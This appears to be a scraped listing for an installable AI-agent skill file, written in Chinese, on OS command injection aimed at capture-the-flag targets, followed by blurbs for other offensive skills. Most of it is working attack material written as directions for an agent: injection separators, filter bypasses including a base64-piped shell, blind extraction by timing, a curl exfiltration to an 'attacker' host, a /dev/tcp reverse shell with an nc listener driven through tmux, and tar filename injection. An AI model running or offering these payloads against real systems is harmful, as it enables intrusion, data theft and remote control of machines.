skills/exploit/web-method/command-injection-methodology/SKILL.md
OS命令注入的检测、利用、盲注和输出绕过。当目标有Ping/Traceroute/DNS查询等网络工具、参数传入shell命令时使用。包含分隔符大全、输出过滤绕过策略、正则匹配伪造技巧
npx skillsauth add wgpsec/AboutSecurity command-injection-methodologyInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
常见存在命令注入的功能: Ping工具、DNS查询、文件操作、网络诊断、系统信息页面
常见参数名: ip, host, cmd, command, exec, ping, query, domain, address, ip_address
使用 response_diff 对比正常/注入请求的响应差异,快速定位注入点
127.0.0.1;id%0aid(最可靠,通常不被过滤)127.0.0.1|id127.0.0.1 && id / 127.0.0.1 || id127.0.0.1`id` / 127.0.0.1$(id)逐个测试 < > | & ; $ \ ( ) { } [ ]`:
| 被过滤 → 用 ; 或 %0a; 被过滤 → 用 %0a 换行> 被过滤 → 不能重定向,用其他方式外带%0a 放在最前面,让原命令失败,只有你的 echo 输出:
ip_address=%0aecho "$(cat /FLAG.txt) packets transmitted, 0 received, 100% packet loss"
→ 更多外泄方法(写文件、时间盲注)→ references/injection-bypass.md
cut -c N、awk、substr 逐字符循环提取if [ $(cut -c1 /flag) = 'F' ]; then sleep 2; fi — 条件 sleep 布尔盲注127.0.0.1;cat /flag 具体 payload 命令拼接⛔ 固定路径失败时必须用 find 系统搜索!
/flag, /FLAG, /flag.txt, /FLAG.txt, /app/flag.txt
%0afind / -name "*flag*" -o -name "*FLAG*" 2>/dev/null
env | grep -i flag # 环境变量
cat /Dockerfile # 确认路径
${IFS}, %09, {cat,/flag}c'a't /flag, tac /flag, /bin/ca? /flagecho Y2F0IC9mbGFn | base64 -d | shcat /fla*, cat /FL?G.txt→ 完整绕过清单(含 Windows)→ references/injection-bypass.md
拿到命令执行后,优先选择无需持续交互的方式:
| 优先级 | 方式 | 适用场景 |
|--------|------|----------|
| 🥇 | 直接命令输出(; cat /flag) | 有回显的注入 |
| 🥈 | Webshell(写 php/jsp 文件,通过 HTTP 交互) | Web 目标、有写权限 |
| 🥉 | HTTP 回传(curl http://attacker/?d=$(cmd\|base64)) | 盲 RCE |
| 4 | 反弹 shell → interactive_session | 需要持续交互(su/sudo/文件系统探索) |
如果确实需要反弹 shell(比如要提权、要 su 切用户、要进入数据库),使用 interactive_session 工具:
1. interactive_session action="start" session_name="listener" command="nc -lvp 4444" wait=2
2. 通过注入触发反弹: ; bash -i >& /dev/tcp/ATTACKER/4444 0>&1
3. interactive_session action="read" session_name="listener" — 确认连接
4. interactive_session action="send" session_name="listener" command="id" — 执行命令
5. interactive_session action="send" session_name="listener" command="cat /flag.txt"
6. interactive_session action="close" session_name="listener" — 完成后关闭
如果 interactive_session 工具不可用(MCP 版本不支持等),用 Bash 直接操作 tmux 实现相同效果:
# 1. 启动 tmux 会话运行监听
tmux new-session -d -s listener -x 200 -y 50 "nc -lvp 4444"
# 2. 触发反弹 shell(通过注入或其他方式)
# 3. 读取屏幕内容(查看是否有回连)
tmux capture-pane -t listener -p -S -100
# 4. 发送命令
tmux send-keys -t listener "id" Enter
sleep 2
tmux capture-pane -t listener -p -S -50
# 5. 继续交互
tmux send-keys -t listener "cat /flag.txt" Enter
sleep 2
tmux capture-pane -t listener -p -S -50
# 6. 发送 Ctrl-C(中断当前命令)
tmux send-keys -t listener C-c
# 7. 关闭会话
tmux kill-session -t listener
核心三板斧:tmux new-session -d(启动)、tmux send-keys(发命令)、tmux capture-pane -p(读屏幕)。这套模式适用于任何交互式程序——不只是 nc,SSH、mysql、redis-cli、python REPL 等都一样。
空格、$、| 等被过滤时,用花括号展开替代:
{ls,-la,/} # 等价于: ls -la /
{cat,/flag.txt} # 等价于: cat /flag.txt
当服务器解压 tar 并显示文件名时,文件名中的 shell 元字符会被执行:
touch 'name; cat /flag #' && tar cf exploit.tar *
$ 锚点绕过preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/', $ip) 缺少 $ 结尾锚点,追加命令即可:
127.0.0.1; cat /flag.txt
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能